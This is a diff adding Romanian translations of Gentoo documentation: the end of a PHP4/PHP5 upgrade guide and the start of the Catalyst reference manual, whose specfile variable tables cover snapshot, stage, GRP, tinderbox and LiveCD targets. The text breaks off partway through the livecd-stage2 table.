+extension_dir = "/usr/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<pre caption="setările noi din php.ini">
+include_path = ".:/usr/share/php"
+extension_dir = "/usr/lib/php5/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<warn>
+Asiguraţi-vă că utilizaţi <c>etc-update</c> sau <c>dispatch-conf</c> pentru a
+observa setările corecte pentru fiecare fişier.
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>Configurarea Extensiilor PHP s-a modificat</title>
+<body>
+
+<p>
+Noul pachet PHP nu îşi mai stochează directivele de configurare în extensiile
+PHP (partajate) din <path>php.ini</path>. Aceste directive vor fi stocate în
+fişierele proprii de configurare ale extensiilor din directoarele
+<path>/etc/php/*/ext</path>. Pentru a activa/dezactiva extensiile partajate,
+sunt utilizate legăturile simbolice din <path>/etc/php/*/ext-active</path>.
+Dacă doriţi să activaţi o extensie, creaţi o legătură simbolică în
+<path>/etc/php/*/ext-active</path> care să indice către fişierul corespunzător
+<path>[EXTENSIE].ini</path> din <path>/etc/php/*/ext/</path>. Dacă doriţi să
+dezactivaţi o extensie, ştergeţi legătura simbolică.
+</p>
+
+<p>
+Dacă aţi avut instalat întainte <c>dev-php/PECL-apc</c>, configurarea APC este
+stocată în fişierul dvs. <path>php.ini</path>. Dacă reinstalaţi noul pachet
+<c>dev-php5/pecl-apc</c>, fişierul de configurare al APC va fi scris în
+<path>/etc/php/*5/ext/apc.ini</path>.
+</p>
+
+<p>
+Deci, va trebui să mutaţi directivele de configurare din
+<path>/etc/php/*5/php.ini</path> în <path>/etc/php/*5/ext/apc.ini</path> şi să
+creaţi o legătură simbolică de la <path>/etc/php/*5/ext-active/apc.ini</path>
+către <path>/etc/php/*5/ext/apc.ini</path>.
+</p>
+
+<note>
+Dacă instalaţi PHP ca un modul Apache, asiguraţi-vă că reporniţi Apache după
+instalare şi configurare.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuraţi Apache pentru funcţionarea cu PHP4 şi/sau PHP5</title>
+<section>
+<body>
+
+<p>
+Pentru  a configura Apache să încarce modulul de PHP4 şi PHP5 (mod_php),
+trebuie să adăugaţi <c>-D PHP4</c>, respectiv <c>-D PHP5</c> în variabila
+<c>APACHE2_OPTS</c> din <path>/etc/conf.d/apache2</path>.
+</p>
+
+<pre caption="Configuraţi Apache pentru a încărca mod_php">
+<comment>(setări pentru PHP4)</comment>
+<i>APACHE2_OPTS="-D PHP4"</i>
+
+<comment>(sau setări pentru PHP5)</comment>
+<i>APACHE2_OPTS="-D PHP5"</i>
+</pre>
+
+<p>
+Există multe posibilităţi de a face Apache să funcţioneze cu două
+versiuni de PHP în paralel. Cea mai simplă modalitate este să utilizaţi
+PHP4 şi PHP5 ca binare cgi, sau PHP4 ca cgi şi PHP5 ca modul (sau invers).
+Nu este posibil să utilizaţi şi modulul PHP4 şi pe cel PHP5 în
+aceeaşi instanţă Apache.
+</p>
+
+<p>
+Am creat un <uri link="php4-php5-configuration.xml">Ghid de Configurare PHP4 şi
+PHP5</uri> care explică unele soluţii posibile.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Suport / Cererea de Ajutor</title>
+<section>
+<body>
+
+<p>
+Dacă aveţi probleme cu noile pachete PHP, iată cum puteţi obţine ajutor:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/CommonQuestions">Întrebări
+    Comune</uri> despre PHP în Gentoo
+  </li>
+  <li>
+    <uri link="http://svn.gnqs.org/projects/gentoo-php-overlay">Pagina de
+    Dezvoltare a Repozitoriului Overlay de PHP</uri>
+  </li>
+  <li>
+    #gentoo-php de pe irc.freenode.net; aceasta este camera de discuţii unde
+    sunt autorii repozitoriului overlay sunt prezenţi în mod regulat. Ne-ar
+    plăcea să vă vedem acolo!
+  </li>
+  <li>
+    <uri link="http://forums.gentoo.org/">Forumurile Gentoo</uri> este un loc
+    popular pentru a cere ajutor. Sunt mulţi alţi utilizatori Gentoo care
+    citesc forumurile regulat, făcându-l un loc minunat de a ajuta în
+    grabă.
+  </li>
+</ul>
+
+<p>
+Pentru detalii despre implementarea noilor pachete, consultaţi <uri
+link="http://article.gmane.org/gmane.linux.gentoo.devel/30050">Posturile pe
+gentoo-dev ale lui Stuart</uri> şi intrările blog ale lui Stuart, începând de
+la <uri
+link="http://stu.gnqs.org/diary/gentoo.php/2005/07/11/radical_changes_for_php5_support">'Modificări
+Radicale pentru Suportul PHP5'</uri>. 
+</p>
+
+<p>
+Pe <uri link="http://svn.gnqs.org/projects/gentoo-php-overlay">Pagina de
+Dezvoltare</uri> veţi găsi multă documentaţie şi ebuild-uri mult mai recente,
+ce vor fi mutate în arborele portage oficial, ulterior.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ro/releng/catalyst/1.x/reference.xml b/xml/htdocs/proj/ro/releng/catalyst/1.x/reference.xml
new file mode 100644
index 00000000..fb927152
--- /dev/null
+++ b/xml/htdocs/proj/ro/releng/catalyst/1.x/reference.xml
@@ -0,0 +1,1388 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/ro/releng/catalyst/reference.xml" lang="ro">
+<title>Manual de Referinţă pentru Catalyst</title>
+<author title="Autor"><mail link="drobbins@gentoo.org">
+Daniel Robbins</mail>
+</author>
+<author title="Contribuitor"><mail link="zhen@gentoo.org">
+John Davis</mail>
+</author>
+<author title="Translator"><mail link="robert.datcu@gentoo.ro">
+Robert Datcu</mail>
+</author>
+
+<abstract>
+Manualul de referinţă Catalyst, acoperind fiecare aspect al configurării
+acestuia.
+</abstract>
+
+<version>2.2</version>
+<date>22 Decembrie 2004</date>
+
+<chapter>
+<title>Introducere</title>
+<section>
+<body>
+<p>
+Acest document se doreşte a fi o referinţă completă pentru toate platformele
+ţintă ale Catalyst, opţiunile fişierelor specificaţie, şi a tuturor celorlalte
+aspecte ale Catalyst.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Referinţe privind Versiunea Ţintă Snapshot</title>
+<section>
+<body>
+
+<p>
+<b>Numele ţintei:</b> <c>snapshot</c>
+</p>
+
+<p>
+<b>Descrierea Ţintei:</b> O versiune snapshot pentru Portage, arborele Portage
+pregătit şi compresat folosit pentru construirea tuturor celorlaltor ţinte.
+</p>
+
+<p>
+Versiunea snapshot ţintă foloseşte următoarele setări:
+</p>
+
+<table>
+<tr>
+  <th>Variabilă</th>
+  <th>Utilizare</th>
+  <th>Descriere</th>
+  <th>Exemplu fişier specificaţie</th>
+</tr>
+<tr>
+  <ti><c>version_stamp</c></ti>
+  <ti>necesară</ti>
+  <ti>identificator, de ex. data sau numărul versiunii</ti>
+  <ti>version_stamp: 2004.3</ti>
+</tr>
+<tr>
+  <ti><c>portdir_overlay</c></ti>
+  <ti>opţională</ti>
+  <ti>directorul portage paralel (PORTDIR_OVERLAY din /etc/make.conf)</ti>
+  <ti>portdir_overlay: /home/utilizator/arborele_meu_paralel</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Referinţe privind Arhivele Tar Ţintă (stage1, stage2, stage3)</title>
+<section>
+<body>
+
+<p>
+<b>Numele ţintei</b> <c>stage1</c>
+</p>
+
+<p>
+<b>Descrierea ţintei:</b> o arhivă tar stage1, elementul de bază pentru
+construirea arhivelor tar stage2 şi stage3. 
+</p>
+
+<p>
+<b>Cerinţe pentru construire:</b> O versiune snapshot a arborelui Portage ca şi
+o arhivă "sursă" stage2 sau stage3 pentru configurarea mediului chroot.
+</p>
+
+<p>
+Fişierul ţintă stage1 foloseşte urmatoarele setări:
+</p>
+
+<table>
+<tr>
+  <th>Variabilă</th>
+  <th>Utilizare</th>
+  <th>Descriere</th>
+  <th>Exemplu fişier specificaţie</th>
+</tr>
+<tr>
+  <ti><c>subarch</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    <uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri>
+    pentru care Catalyst este construit, de ex. pentium4 sau athlon-xp
+  </ti>
+  <ti>subarhitectură: athlon-xp</ti>
+</tr>
+<tr>
+  <ti><c>version_stamp</c></ti>
+  <ti>necesară</ti>
+  <ti>identificator, de ex. data sau numărul versiunii</ti>
+  <ti>version_stamp: 2004.3</ti>
+</tr>
+<tr>
+  <ti><c>target</c></ti>
+  <ti>cerută</ti>
+  <ti>ţinta pentru care Catalyst este construit, în acest caz, o arhivă tar stage1</ti>
+  <ti>ţinta: stage1</ti>
+</tr>
+<tr>
+  <ti><c>rel_type</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+  </ti>
+  <ti>rel_type: default</ti>
+</tr>
+<tr>
+  <ti><c>profile</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+  </ti>
+  <ti>profile: default-linux/x86/2004.3</ti>
+</tr>
+<tr>
+  <ti><c>snapshot</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Versiunea snapshot pentru Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+  </ti>
+  <ti>snapshot: 20041222</ti>
+</tr>
+<tr>
+  <ti><c>source_subpath</c></ti>
+  <ti>necesară</ti>
+  <ti>locaţia fişierului stage sursă, calea este relativă faţă de ${clst_sharedir}</ti>
+  <ti>source_subpath: default/stage3-x86-2004.1</ti>
+</tr>
+<tr>
+  <ti><c>distcc_hosts</c></ti>
+  <ti>opţională, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)</ti>
+  <ti>calculatoarele gazdă folosite pentru compilare distribuită distcc</ti>
+  <ti>distcc_hosts: 127.0.0.1 192.168.0.1</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+	
+<chapter>
+<title>Referinţe privind GRP</title>
+<section>
+<body>
+
+<p>
+<b>Numele ţintei:</b> <c>grp</c>
+</p>
+
+<p>
+<b>Descrierea ţintei:</b> Un set de pachete GRP. GRP este acronimul pentru
+'Gentoo Reference Platform' şi constă dintr-un set de pachete şi arhive sursă,
+grupate în (opţional) directoare separate pentru o uşoară integrare în CD-urile
+de instalare.
+</p>
+
+<p>
+<b>Cerinţe pentru construire:</b> Un snapshot al arborelui Portage şi o arhivă
+sursă stage3.
+</p>
+
+<p>
+Ţinta GRP foloseşte următoarele setări:
+</p>
+
+<table>
+<tr>
+  <th>Variabilă</th>
+  <th>Utilizare</th>
+  <th>Descriere</th>
+  <th>Exemplu fişier specificaţie</th>
+</tr>
+<tr>
+  <ti><c>subarch</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    <uri
+    link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri>
+    pentru care Catalyst este construit, de ex. pentium4 sau athlon-xp
+  </ti>
+  <ti>subarch: athlon-xp</ti>
+</tr>
+<tr>
+  <ti><c>version_stamp</c></ti>
+  <ti>necesară</ti>
+  <ti>identificator, de ex. data sau numărul versiunii</ti>
+  <ti>version_stamp: 2004.3</ti>
+</tr>
+<tr>
+  <ti><c>target</c></ti>
+  <ti>necesară</ti>
+  <ti>ţinta pentru care Catalyst este construit, în acest caz, <c>grp</c></ti>
+  <ti>target: stage1</ti>
+</tr>
+<tr>
+  <ti><c>rel_type</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    profilul ce va fi folosit de Catalyst în construcţie, în multe cazuri
+    <c>default</c> este de ajuns
+  </ti>
+  <ti>rel_type: default</ti>
+</tr>
+<tr>
+  <ti><c>profile</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru
+    construire
+  </ti>
+  <ti>profile: default-linux/x86/2004.3</ti>
+</tr>
+<tr>
+  <ti><c>snapshot</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    Versiunea snapshot pentru Portage folosită, calea fiind relativă la
+    ${clst_storedir}/snapshots
+  </ti>
+  <ti>snapshot: 20041222</ti>
+</tr>
+<tr>
+  <ti><c>source_subpath</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    locaţia fişierului stage sursă, calea fiind relativă la ${clst_sharedir}
+  </ti>
+  <ti>source_subpath: default/stage3-x86-2004.1</ti>
+</tr>
+<tr>
+  <ti><c>distcc_hosts</c></ti>
+  <ti>opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)</ti>
+  <ti>calculatoarele gazdă folosite pentru compilare distribuită distcc</ti>
+  <ti>distcc_hosts: 127.0.0.1 192.168.0.1</ti>
+</tr>
+<tr>
+  <ti><c>grp</c></ti>
+  <ti>necesară</ti>
+  <ti>structura de directoare pentru build-ul GRP finalizat</ti>
+  <ti>grp: src packages</ti>
+</tr>
+<tr>
+  <ti><c>grp/use</c></ti>
+  <ti>necesară</ti>
+  <ti>Indicatorii USE ce vor fi folosiţi la construirea setului GRP</ti>
+  <ti>grp/use: gtk2 gnome kde qt bonobo acl</ti>
+</tr>
+<tr>
+  <ti><c>grp/[grp:x]/type</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    tipul de build GRP - comanda pkgset va construi şi împacheta ebuild-ul
+    specificat într-o arhivă compresată (pachet binar), iar comanda srcset doar
+    va descărca local sursele de pe un mirror Gentoo
+  </ti>
+  <ti>grp/src/type: srcset; grp/packages/type: packages</ti>
+</tr>
+<tr>
+  <ti><c>grp/[grp:x]/packages</c></ti>
+  <ti>necesară</ti>
+  <ti>
+    lista pachetelor ebuild pentru un build GRP corespunzător (srcset, pkgset)
+  </ti>
+  <ti>
+    grp/src/packages: pciutils hdparm; grp/packages/packages: pciutils hdparm
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+	
+<chapter>
+	<title>
+	Referinţe despre Ţinta Tinderbox
+	</title>
+	<section>
+	<body>
+	<p>
+	<b>Numele ţintei:</b> <c>tinderbox</c>
+	</p>
+	<p>
+	<b>Descrierea ţintei:</b> Tinderbox este o ţintă de tip QA (Quality Assurance - Asigurarea Calităţii) folosit pentru a
+	construi serii de pachete de test
+	</p>
+	<p>
+	<b>Cerinţe pentru construire:</b> Un snapshot al arborelui Portage şi o arhivă sursă stage3
+	</p>
+	
+	<p>
+	Ţinta tinderbox foloseşte următoarele setări:
+	</p>
+	<table>
+	<tr>
+		<th>Variabilă
+		</th>
+		<th>Utilizare
+		</th>
+		<th>
+		Descriere
+		</th>
+		<th>
+		Exemplu fişier specificaţie
+		</th>
+	</tr>
+	<tr>
+		<ti><c>subarch</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+			<uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri> pentru care 
+			Catalyst este construit, de ex. pentium4 sau athlon-xp
+		</ti>
+		<ti>subarch: athlon-xp
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>version_stamp</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificator, de ex. data sau numărul versiunii
+		</ti>
+		<ti>
+		version_stamp: 2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>target</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ţinta pentru care este construit Catalyst, în acest caz, <c>tinderbox</c>
+		</ti>
+		<ti>
+		target: stage1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>rel_type</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+		</ti>
+		<ti>rel_type: default
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>profile</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+		</ti>
+		<ti>
+		profile: default-linux/x86/2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>snapshot</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Versiunea snapshot Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+		</ti>
+		<ti>
+		snapshot: 20041222
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>source_subpath</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		locaţia fişierului stage sursă, calea fiind relativă la ${clst_sharedir}
+		</ti>
+		<ti>
+		source_subpath: default/stage3-x86-2004.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>distcc_hosts</c>
+		</ti>
+		<ti>
+		opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)
+		</ti>
+		<ti>
+		calculatoarele gazdă folosite pentru compilare distribuită distcc
+		</ti>
+		<ti>
+		distcc_hosts: 127.0.0.1 192.168.0.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>tinderbox/use</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Indicatorii USE ce vor fi folosiţi pentru construcţia tinderbox
+		</ti>
+		<ti>
+		tinderbox/use: gtk2 qt kde bonobo
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>tinderbox/packages</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		lista pachetelor ebuild pentru a construi tinderbox
+		</ti>
+		<ti>
+		tinderbox/packages: xorg-x11 kde xmms parted portage
+		</ti>
+	</tr>
+	</table>
+
+	<p>
+	<b>Utilizare:</b> Iată cum funcţionează tinderbox. Arhiva sursă specificată este folosită pentru a configura 
+	mediul chroot. Apoi, <c>rsync</c> este folosit pentru a crea o copie de siguranţă iniţială curată a mediului chroot. Primul
+	pachet specificat în <c>tinderbox/packages</c> este instalat, folosind indicatorii <c>USE</c> specificaţi în
+	<c>tinderbox/use</c>.  Instalarea fiind corectă, Catalyst foloseşte <c>rsync</c> pentru a restaura mediul chroot la
+	forma sa originală. Apoi, fiecare pachet specificat în <c>tinderbox/packages</c> este instalat în mod succesiv; 
+	fiecare instalare este urmată de "reîntoarcerea la starea iniţială", adică pasul <c>rsync</c>.
+	</p>
+
+	<p>
+	Din cauza pasului <c>rsync</c>, adică reîntoarcerea la starea iniţială, tinderbox poate detecta erori în dependenţele dibtre pachete. Pentru ca un pachet să fie compilat cu succes, trebuie să depindă de orice ar avea nevoie pentru o compilare
+	curată dintr-o arhivă stage3 originală. De asemenea, acestă testare a tinderbox este chiar foarte eficientă când
+	<c>pkgcache</c> este activat în <path>/etc/catalyst/catalyst.conf</path>, deoarece pachetele pre-construite vor fi folosite
+	pentru satisfacerea oricăror dependenţe. Aceasta înseamnă că pachete mari consumatoare de CPU ca <path>xfree</path> vor fi
+	compilate doar odată pentru fiecare rulare a tinderbox, demonstrând că <c>pkgcache</c> este activat.    
+	</p>
+
+	<p>
+	Tinderbox va continua să compileze prin parcurgerea tuturor pachetelor specificate în <c>tinderbox/packages</c>,
+	chiar dacă unele pachete nu se vor compila. Un fişier log al compilării este creat şi localizat la
+	<path>[storedir]/tmp/[rel_type]/[subarch]-tinderbox-[version_stamp]/tmp/tinderbox.log</path>. Dacă un pachet este
+	compilat corect, o linie va fi înregistrată în acest fişier ce va conţine numele pachetului aşa cum este specificat 
+	în <c>tinderbox/packages</c>. Dacă un pachet nu este compilat corespunzător , o linie va fi înregistrată în acest
+	fişier şi va conţine numele pachetului, precedat de "<c>! </c>". Luaţi aminte că eşecurile în compilarea unor 
+	pachete anterioare pot cauza mai târziu erori în compilarea viitoarelor pachete. 
+	</p>
+
+	<p>
+	În afara fişierului <path>/tmp/tinderbox.log</path> creat în interiorul mediului chroot, tinderbox nu efectuează
+	un alt proces de log. Pentru a efectua log procesului de compilare, folosiţi comanda <c>script</c> împreună cu
+	<c>catalyst</c>, după cum urmează:
+	</p>
+	
+	<pre caption="Folosirea script cu Catalyst pentru efectuarea de log procesului de compilare">
+# script
+Script started, file is typescript
+# catalyst -f /foo/bar/oni.spec
+# exit Script done, file is typescript
+</pre>
+	<p>
+	Apoi, deschideţi fişierul <path>typescript</path> din directorul curent pentru un log complet al procesului
+	de compilare.
+	</p>
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>
+	Referinţe privind Livecd-stage1
+	</title>
+	<section>
+	<body>
+	<p>
+	<b>Numele ţintă:</b> <c>livecd-stage1</c>
+	</p>
+	<p>
+	<b>Descrierea ţintei:</b> Prima ţintă prealabilă pentru construirea unui LiveCD, de fapt o
+	arhivă compresată ce conţine un fişier stage3 plus alte pachete. 
+	</p>
+	<p>
+	<b>Cerinţe pentru construire:</b> Un snapshot al arborelui Portage şi o arhivă sursă stage3	
+	</p>
+	
+	<p>
+	Ţinta livecd-stage1 foloseşte următoarele setări:
+	</p>
+	<table>
+	<tr>
+		<th>
+		Variabilă
+		</th>
+		<th>
+		Utilizare
+		</th>
+		<th>
+		Descriere
+		</th>
+		<th>
+	   	Exemplu fişier specificaţie	
+		</th>
+	</tr>
+	<tr>
+		<ti><c>subarch</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		    <uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri> pentru care 
+			Catalyst este construit, de ex. pentium4 sau athlon-xp	
+		</ti>
+		<ti>subarch: athlon-xp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>version_stamp</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificator, de ex. data sau numărul versiunii
+		</ti>
+		<ti>
+		version_stamp: 2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>target</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ţinta pentru care este construit Catalyst, în acest caz, <c>livecd-stage1</c>
+		</ti>
+		<ti>
+		target: stage1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>rel_type</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+		</ti>
+		<ti>
+		rel_type: implicit
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>profile</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+		</ti>
+		<ti>
+		profile: default-linux/x86/2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>snapshot</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Versiunea snapshot Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+		</ti>
+		<ti>
+		snapshot: 20041222
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>source_subpath</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		locaţia fişierului stage sursă, calea este relativă faţă de ${clst_sharedir}
+		</ti>
+		<ti>
+		source_subpath: default/stage3-x86-2004.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>distcc_hosts</c>
+		</ti>
+		<ti>
+		opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)
+		</ti>
+		<ti>
+		calculatoarele gazdă folosite pentru compilare distribuită distcc
+		</ti>
+		<ti>
+		distcc_hosts: 127.0.0.1 192.168.0.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/use</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Indicatorii USE folosiţi pentru construirea mediului livecd
+		</ti>
+		<ti>
+		livecd/use: gtk2 kde gnome qt bonobo
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/packages</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		lista pachetelor pentru compilat şi inclus în mediul livecd
+		</ti>
+		<ti>
+        livecd/packages: xorg-x11 qt parted mozilla-firefox gnome
+		</ti>
+	</tr>
+	</table>
+
+	<impo>
+	<c>livecd</c> <c>TREBUIE</c> inclus pe lângă indicatorii USE pe care îi specificaţi în variabila <c>livecd/use</c>.
+	Asiguraţi-vă să introduceţi <c>sys-apps/baselayout</c> printre pachetele specificate în variabila <c>livecd/packages</c>,
+	aşa cum baselayout trebuie recompilat cu indicatorul USE <c>livecd</c> activat, pentru ca LiveCD-ul să boot-eze
+	corespunzător.
+	</impo>
+
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>
+	Referinţe pentru Ţinta Livecd-stage2 
+	</title>
+	<section>
+	<body>
+	<p>
+	<b>Numele ţintă:</b> <c>livecd-stage2</c>
+	</p>
+	<p>
+	<b>Descrierea ţintei:</b> Această ţintă pregăteşte LiveCD-ul pentru uz general. Un LiveCD stage2 conţine
+	un livecd-stage1 plus kernel şi scripturi iniţializare (initrd) ce vor fi folosite pentru boot-area 
+	imaginii CD-ului.
+	</p>
+	<p>
+	<b>Cerinţe pentru construire:</b> Un snapshot cu arborele Portage şi o imagine sursă cu livecd-stage1
+	</p>
+	
+	<p>
+	LiveCD-stage2 foloseşte următoarele setări:
+	</p>
+	<table>
+	<tr>
+		<th>
+		Variabilă
+		</th>
+		<th>
+		Utilizare
+		</th>
+		<th>
+		Descriere
+		</th>
+		<th>
+		Exemplu fişier specificaţie
+		</th>
+	</tr>
+	<tr>
+		<ti>
+		<c>subarch</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+			<uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri> pentru care 
+			Catalyst este construit, de ex. pentium4 sau athlon-xp	
+		</ti>
+		<ti>subarch: athlon-xp
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>version_stamp</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificator, de ex. data sau numărul versiunii
+		</ti>
+		<ti>
+		version_stamp: 2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>target</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ţinta pentru care este construit Catalyst, în acest caz, <c>livecd-stage2</c>
+		</ti>
+		<ti>
+		target: stage1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>rel_type</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+		</ti>
+		<ti>
+		rel_type: implicit
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>profile</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+  	    </ti>
+		<ti>
+		profile: default-linux/x86/2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>snapshot</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Versiunea snapshot pentru Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+		</ti>
+		<ti>
+		snapshot: 20041222
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>source_subpath</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		locaţia fişierului stage sursă, calea fiind relativă faţă de ${clst_sharedir}
+		</ti>
+		<ti>
+		source_subpath: default/stage3-x86-2004.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>distcc_hosts</c>
+		</ti>
+		<ti>
+        opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)
+		</ti>
+		<ti>
+        calculatoarele gazdă folosite pentru compilare distribuită distcc
+		</ti>
+		<ti>
+		distcc_hosts: 127.0.0.1 192.168.0.1
+		</ti>
+	</tr>
+	<tr>
+	    <ti>
+	    <c>boot/kernel</c>
+	    </ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificatori pentru toate imaginile de kernelce vor fi disponibile pe LiveCD
+		</ti>
+		<ti>
+		boot/kernel: gentoo smp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/sources</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ebuild de kernel care va fi folosit pentru fiecare kernel
+		</ti>
+		<ti>
+		boot/kernel/gentoo/sources: gentoo-dev-sources
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/config</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		calea completă către fişierul .config al kernel-ului folosit în compilarea unui kernel specificat
+		</ti>
+		<ti>
+		boot/kernel/smp/config: /home/user/smp-config.config
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/extraversion</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		etichetă opţională ce va fi adăugată kernel-ului specificat
+		</ti>
+		<ti>
+		boot/kernel/smp/extraversion: 1337-CD
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/packages</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista pachetelor ebuild de care depind sursele kernel, pentru a fi compilate împreună cu kernel-ul
+		</ti>
+		<ti>
+		boot/kernel/gentoo/packages: hostap-driver pcmcia-cs
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/use</c>
+		</ti>
+		<ti>
+		opţionali
+		</ti>
+		<ti>
+		Indicatorii USE folosiţi în compilarea pachetelor de care depinde kernel-ul sursă
+		</ti>
+		<ti>
+		boot/kernel/gentoo/use: apm pnp pcmcia
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/gk_kernargs</c>
+		</ti>
+		<ti>
